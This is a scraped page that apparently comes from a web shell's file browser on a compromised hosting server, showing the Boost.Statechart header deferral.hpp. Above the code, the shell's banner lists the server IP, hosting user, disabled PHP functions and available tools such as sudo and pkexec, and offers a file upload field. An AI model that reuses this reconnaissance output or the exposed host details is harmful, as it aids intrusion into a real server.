Done !
| Server IP : 194.181.228.65 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux wn13.webd.pl 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64 User : prusit ( 133039) PHP Version : 5.6.40 Disable Function : exec, system, shell_exec, passthru, proc_open, proc_close, popen MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/usr/include/boost/statechart/ |
Upload File : |
#ifndef BOOST_STATECHART_DEFERRAL_HPP_INCLUDED
#define BOOST_STATECHART_DEFERRAL_HPP_INCLUDED
//////////////////////////////////////////////////////////////////////////////
// Copyright 2002-2006 Andreas Huber Doenni
// Distributed under the Boost Software License, Version 1.0. (See accompany-
// ing file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//////////////////////////////////////////////////////////////////////////////
#include <boost/statechart/result.hpp>
namespace boost
{
namespace statechart
{
class event_base;
//////////////////////////////////////////////////////////////////////////////
template< class Event >
class deferral
{
public:
//////////////////////////////////////////////////////////////////////////
// The following declarations should be private.
// They are only public because many compilers lack template friends.
//////////////////////////////////////////////////////////////////////////
template< class State, class EventBase, class IdType >
static detail::reaction_result react(
State & stt, const EventBase &, const IdType & eventType )
{
if ( eventType == Event::static_type() )
{
return detail::result_utility::get_result( stt.defer_event() );
}
else
{
return detail::no_reaction;
}
}
};
template<>
class deferral< event_base >
{
public:
//////////////////////////////////////////////////////////////////////////
// The following declarations should be private.
// They are only public because many compilers lack template friends.
//////////////////////////////////////////////////////////////////////////
template< class State, class EventBase, class IdType >
static detail::reaction_result react(
State & stt, const EventBase &, const IdType & )
{
return detail::result_utility::get_result( stt.defer_event() );
}
};
} // namespace statechart
} // namespace boost
#endif